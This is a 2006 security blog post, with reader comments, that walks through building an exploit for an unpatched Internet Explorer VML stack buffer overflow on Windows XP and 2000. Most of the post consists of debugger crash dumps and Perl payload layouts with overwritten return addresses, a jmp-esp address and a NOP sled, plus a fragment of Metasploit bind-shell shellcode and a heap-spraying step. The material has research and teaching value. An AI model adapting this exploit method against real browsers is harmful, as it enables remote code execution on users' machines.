Heap Spraying: Exploiting Internet Explorer VML 0-day

[UPDATE: Sep 24th, 2006] Finally, got the code execution on XP SP2. However, because of the serious damage, I will not publish things about this until M$ release the patch. Sorry for inconvenient

At the time I write this article, This exploit is still 0-day, there is no patch. I decide to write this exploit because I just wanna to know that which platform is exploitable. Xsec’s exploit show that W2k platform is exploitable, so I decide to work with XP platform.

I use Shirkdog’s PoC as the starting point to see how IE crash. This is the result:

(6ec.6f0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00310030 ebx=ffffff88 ecx=0013bec4 edx=001832cc esi=00000000 edi=00000000

eip=5acc2794 esp=0013bec0 ebp=0013c0d4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:00310030=00000000

The access violation occurs at 0x5acc2794 because of writing to the address that eax point to – 0×00310030. I look at the code and found that it is at last 2nd byte at the “method”:


v:fill method=”AAAAAAAAAAAAA…BCD01” …

The byte 0×31 is 1 and 0×30 is 0. I confirm this by change the “method” to be like this:


v:fill method=”AAAAAAAAAAAAA…BCDFF” …

This is the result:

vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:00460046=????????

As you can see, we can control eax partially. There is the byte 0×00 between each character. I recognize this quickly – if I wanna to control eax completely, I have to create HTML file in unicode file format (If you wanna to know why I recoginize it quickly, you can read this post “Heap Spraying: Internet Exploiter”. I had been got stuck about this 2 hours, lol).I create a simple perl script to generate the HTML file in unicode format. This is a part of code that trigger the access violation:


$page = $page . “\x41\x00″ x 256 . “\xaa\xaa\xaa\xaa”;

Then I use IE browse the page generated by this script:

eax=aaaaaaaa ebx=ffffff88 ecx=0013c034 edx=001efffc esi=00000000 edi=00000000
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:aaaaaaaa=????????

Yez, I can control eax completely. But the next problem is what’s the value of eax that I should set ? It has to be the writable memory. Because I have not much time to find the good one, I decide to write it to 0x77fc3210 – Pointer to First Vectored Handler in XP. This is the result:

Breakpoint 0 hit
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:77fc3210=00000000
0:000> u
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi
5acc2796 b001 mov al,1
5acc2798 5f pop edi
5acc2799 eb02 jmp vgx!_IE5_SHADETYPE_TEXT::Text+0x8a (5acc279d)
5acc279b 32c0 xor al,al
5acc279d c9 leave
5acc279e c20800 ret 8
vgx!_IE5_SHADETYPE_TEXT::Save:
5acc27a1 55 push ebp
0:000> p
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000
eip=5acc2796 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
vgx!_IE5_SHADETYPE_TEXT::Text+0×83:
5acc2796 b001 mov al,1

The access violation doesn’t occur at 0x5acc2749. This means that 0x77fc3210 is writable. I continue run WinDBG:

eax=00000000 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00039a28 edi=001f5ec4
eip=00000000 esp=00130008 ebp=00000000 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
00000000 ?? ???

The access violation occurs again, but eip points to 0×00000000 in this time. To see more details, I modify my perl script:


$page = $page . “\x41\x00″ x 256 . “\x10\x32\xfc\x77” . “\xaa\xaa\xaa\xaa” x 64;

This is the result when I browse the page with IE:

eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001efdb4 esi=00000000 edi=001efdb4
eip=aaaaaaaa esp=0013c254 ebp=aaaaaaaa iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
aaaaaaaa ??

We can control eip completely !!! This is a simple stack-based buffer overflow vulnerability – easy to exploit :) . After I have found that the offset that overwrite eip is the 2nd of 4 bytes “\xaa\xaa\xaa\xaa”, I plan to layout the exploit code like this:


$page = $page . “\x41\x00″ x 256 .
“\x10\x32\xfc\x77” . # writable memory
“\x44\x44\x44\x44″. # padding
“\xaa\xaa\xaa\xaa” . # return address
“\x90\x90\x90\x90” x 16 . # padding
“\xcc\xcc\xcc\xcc”; # shellcode “break instruction”

I intend to set the return address to 0xaaaaaaaa to locate our shellcode when IE crash:

eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f3ec4 esi=00000000 edi=001f3ec4
eip=aaaaaaaa esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
aaaaaaaa ?? ???
0:000> dd esp
0013c254 90909090 90909090 90909090 90909090
0013c264 90909090 90909090 90909090 90909090
0013c274 90909090 90909090 90909090 90909090
0013c284 90909090 90909090 cccccccc 00000000

Wow, our shellcode is in stack. Just change 0xaaaaaaaa to the address of instruction “jmp esp”, our shellcode will be executed. I use Metasploit’s Opcode Database to find such a address – 0x71ab7bfb (XP SP0 + SP1, ws2_32.dll). I change 0xaaaaaaaa to 0x71ab7bfb and use IE browse the page:

(144.56c): Break instruction exception – code 80000003 (first chance)
eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f6ec4 esi=00000000 edi=001f6ec4
eip=0013c28c esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
0013c28c cc int 3
0:000> u eip – 0×4
0013c288 90 nop
0013c289 90 nop
0013c28a 90 nop
0013c28b 90 nop
0013c28c cc int 3
0013c28d cc int 3
0013c28e cc int 3
0013c28f cc int 3

Ha ha, our shellcode is executed. The last part of this is just change the shellcode “break instruction” to the real shellcode – port 5555 binding (Metasploit) shellcode in this case – and test it (don’t forget that the length of shellcode must be even numbers because our file format is unicode 16). But the problem still exists – shellcode doesn’t run correctly. I look at the point that my shellcode crash:

(5fc.1b0): Illegal instruction – code c000001d (first chance)
(5fc.1b0): Illegal instruction – code c000001d (!!! second chance !!!)
eax=77fc331d ebx=fffffe88 ecx=0013c033 edx=002236a4 esi=00000000 edi=002236a4
eip=005f0029 esp=0013c24c ebp=44444443 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
005f0029 ff ???
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0013c248 0013c276 ffffffeb 90909090 90909090 0x5f0029

0:000> dd 0013c276 – 0×12
0013c264 90909090 90909090 eb6afc90 fff9e84d
0013c274 8b60003f 8b24246c 7c8b3c45 ef017805
….
0:000> u 0013c276 – 0×12
0013c264 90 nop
0013c265 90 nop
0013c266 90 nop
0013c267 90 nop
0013c268 90 nop
0013c269 90 nop
0013c26a 90 nop
0013c26b 90 nop
0:000> u
0013c26c 90 nop
0013c26d fc cld
0013c26e 6aeb push 0FFFFFFEBh
0013c270 4d dec ebp
0013c271 e8f9ff3f00 call 0053c26f
0013c276 60 pushad
0013c277 8b6c2424 mov ebp,dword ptr [esp+24h]

Illegal instruction ? This is the shellcode:

“\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45″.

Our bytes in shellcode has been changed, from 0xffff to 0x3f00. How could this happen ? I put “\xff\xff\xff\xff” as the shellcode and test again:

eax=77fc300b ebx=ffffff88 ecx=0013c034 edx=001e76c4 esi=00000000 edi=001e76c4
eip=0013c271 esp=0013c254 ebp=44444444 iopl=0 ov up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010a96
0013c271 004b05 add byte ptr [ebx+5],cl ds:0023:ffffff8d=??
0:000> dd eip – 0×12
0013c25f 90909090 90909090 90909090 3f003f90
0013c26f 4b000000 00800005 00800000 00000000

I get the same result. The bytes 0xffff is converted to 0x3f00 automatically. I can’t use the shellcode that contains bytes 0xffff. This is not flexible, so I have to find the other way to inject my shellcode into memory.

Then the heap spraying technique comes into my mind. I browses the exploit that use SkyLined’s heap spraying techqniue (the concept of this technique is that you inject the nop + shellcode into the heap memory and use some method to trick the eip jump into that heap – for more detail plz see Heap Spraying: Introduction) and I’ve found that the shellcode in these exploits can contain the bytes 0xffff. Then, I add the javascript code that inject our heap into the memory and test it to ensure that the heaps contain our shellcode.

0:000> dd 0d0d0000
0d0d0000 90909090 90909090 90909090 90909090
0d0d0010 90909090 90909090 90909090 90909090

0:000> dd 0d0d0d00
0d0d0d00 00000090 90909000 90909090 90909090
0d0d0d10 90909090 90909090 90909090 90909090

0:000> dd 0d0d0d0d
0d0d0d0d 90909090 90909090 90909090 90909090
0d0d0d1d 90909090 90909090 90909090 90909090

Then I modify the attack vector:


$page = $page . “\x41\x00” x 256 . # padding
“\x01\x0d\x0d\x0d” # writable memory
“\x44\x44\x44\x44” # padding
“\x0d\x0d\x0d\x0d” # return address

Because I inject the heaps until the address 0x0d0dxxxx become valid, so I can do anything with these address. First of all, I change the writeable address memory from 0x77fc3210 to 0x0d0d0d01 becauses the first one doesn’t work in W2K system. Writing to the address 0x0d0d0d01 is also possible because it is writable memory. For eip, I tell it jump into 0x0d0d0d0d – our shellcode. I test it and there is no problem ^-^. This 0-day is really fun to implement.

P.S. I also test the exploit with W2K and it still work without to change the return address :)

P.S. For XP SP2 (the most wanted, lol), the problem is that it has stack protection mechanism. The situation that can break the stack protection – we can write to any memory location that we want with our value – doesn’t occur even though this occurs in SP1, unlucky. However I’ve seen the movie that show the exploitation on XP SP2, this means that there is someway to exploit it but not with the method I use.

Share
  • http://ragestorm.net arkon

    “I get the same result. The bytes 0xffff is converted to 0×3f00 automatically. I can’t use the shellcode that contains bytes 0xffff. This is not flexible, so I have to find the other way to inject my shellcode into memory.”
    so you ******** use heap spraying instead of changing your shellcode?? lame! not flexible? haha

  • http://sf-freedom.blogspot.com Trirat Kira P

    In the feture you will know why heap spraying technique will be useful :)

    The reason why I change the method instead of the shellcode because of the “flexibility” to use any “shellcode” – whether or not it contains 0xffff

  • http://www.BeyondSecurity.com Aviram

    Arkon – there are many people that think that if they filter certain bytes they prevent code execution. Showing alternative methods of running malicious code is important for user education, since it shows those people that if the application is vulnerable, arbitrary code *will* eventually run – one way or another.

  • http://ragestorm.net arkon

    aviram, i respect you and stuff.
    but come on, don’t sell me this.

  • http://blogs.securiteam.com/index.php/archives/author/mattmurphy/ Matthew Murphy

    It’s an extreme example, but he’s completely right. I wrote an exploit for the Windows Media vulnerability based on the heap spray technique because I couldn’t get a valid, consistent return address otherwise and not have that address filtered out by the decoder. While I wouldn’t recommend changing the exploit technique to get around a filter for a single bad 16-bit value, it’s likely that the problem was bigger than that. Certain character-set translation processes will convert characters with high bits set to 0x3F (‘?’), which becomes 0x3f00 when reconstituted as Unicode.

  • http://sf-freedom.blogspot.com Trirat Kira P

    it’s likely that the problem was bigger than that. Certain character-set translation processes will convert characters with high bits set to 0×3F (’?’), which becomes 0×3f00 when reconstituted as Unicode.

    I don’t know that before. Thanks Matthew :)

  • duke

    test: http://www.isotf.org/zert/testvml.htm
    NO Crash under Windows XP SP2

  • http://sf-freedom.blogspot.com Trirat Kira P

    Now I release the article how to exploit it on XP SP2 http://blogs.securiteam.com/index.php/archives/641